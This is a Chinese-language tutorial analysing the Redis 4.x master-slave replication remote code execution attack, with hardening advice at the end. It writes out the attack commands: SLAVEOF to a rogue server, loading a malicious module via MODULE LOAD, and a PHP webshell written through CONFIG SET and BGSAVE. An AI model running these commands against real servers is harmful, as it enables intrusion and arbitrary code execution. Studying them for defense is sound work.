Redis 4.x RCE分析
字数 1205 2025-08-26 22:11:51
Redis 4.x RCE 攻击分析与利用教学文档
1. 攻击概述
Redis 4.x RCE攻击是一种利用Redis主从复制功能实现远程代码执行的攻击方法,由LCBC战队队员Pavel Toporkov在zeronights 2018会议上首次公开。该攻击允许攻击者在特定条件下通过Redis服务器执行任意代码。
2. 攻击前提条件
- 能够访问远程Redis的端口(直接访问或通过SSRF)
- 对Redis服务器可以访问到的另一台服务器有控制权(用于搭建恶意主服务器)
3. 背景知识
3.1 Redis协议
Redis支持两种传输协议:
-
明文协议:
SET keyname value\n -
编码协议(RESP协议):
*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n格式化表示:
*<number of arguments> CR LF $<number of bytes of argument 1> CR LF <argument data> CR LF ... $<number of bytes of argument N> CR LF <argument data> CR LF
3.2 关键Redis命令
CONFIG SET
用于配置Redis服务器:
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload '<?php eval($_GET[0]);?>'
BGSAVE
SLAVEOF
设置主从服务器关系:
SLAVEOF 127.0.0.1 7000 # 设置主服务器
SLAVEOF NO ONE # 取消主从关系
MODULE LOAD
加载外部模块:
MODULE LOAD /path/to/exp.so
MODULE UNLOAD exp
3.3 主从复制握手流程
- 从服务器向主服务器发送
PING命令 - 主服务器回复
+PONG - 从服务器发送
REPLCONF命令交换复制信息 - 主服务器回复
+OK - 从服务器发送
PSYNC/SYNC命令同步状态 - 主服务器回复
+FULLRESYNC
4. 攻击流程
4.1 搭建恶意主服务器(Rogue Server)
恶意主服务器需要实现以下功能:
-
响应Redis的握手请求:
PING→ 回复+PONGREPLCONF→ 回复+OKPSYNC/SYNC→ 回复+FULLRESYNC
-
在同步过程中发送恶意模块
4.2 攻击步骤
-
将目标Redis设置为我们的从服务器:
SLAVEOF <rogue_server_ip> <rogue_server_port> -
设置Redis的数据库文件名:
CONFIG SET dbfilename exp.so -
从恶意主服务器接收模块:
恶意主服务器发送格式化的响应:+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload> -
加载恶意模块:
MODULE LOAD ./exp.so
5. 攻击实现
5.1 工具准备
使用开源工具redis-rogue-server:
git clone https://github.com/n0b0dyCN/redis-rogue-server
5.2 攻击演示
-
设置主服务器与数据库文件:
SLAVEOF 192.168.1.100 6379 CONFIG SET dbfilename exp.so -
向Redis服务器发送payload:
恶意主服务器发送格式化的恶意模块数据 -
加载模块:
MODULE LOAD ./exp.so -
执行命令:
通过加载的模块实现任意命令执行
6. 防御措施
-
网络层防护:
- 限制Redis端口访问(绑定127.0.0.1或使用防火墙)
- 使用VPN或私有网络
-
配置加固:
- 禁用危险命令:
rename-command CONFIG "" rename-command MODULE "" rename-command SLAVEOF "" - 设置密码认证:
requirepass <strong_password>
- 禁用危险命令:
-
权限控制:
- 以非root用户运行Redis
- 限制Redis写入目录
-
更新与监控:
- 及时更新Redis到最新版本
- 监控异常的主从复制行为
7. 扩展知识
7.1 Redis模块开发
Redis模块可以使用RedisModulesSDK开发:
git clone https://github.com/RedisLabs/RedisModulesSDK
7.2 其他Redis攻击面
- 通过
BGSAVE写入Webshell - 通过
LUA沙箱逃逸 - 通过
DEBUG命令执行代码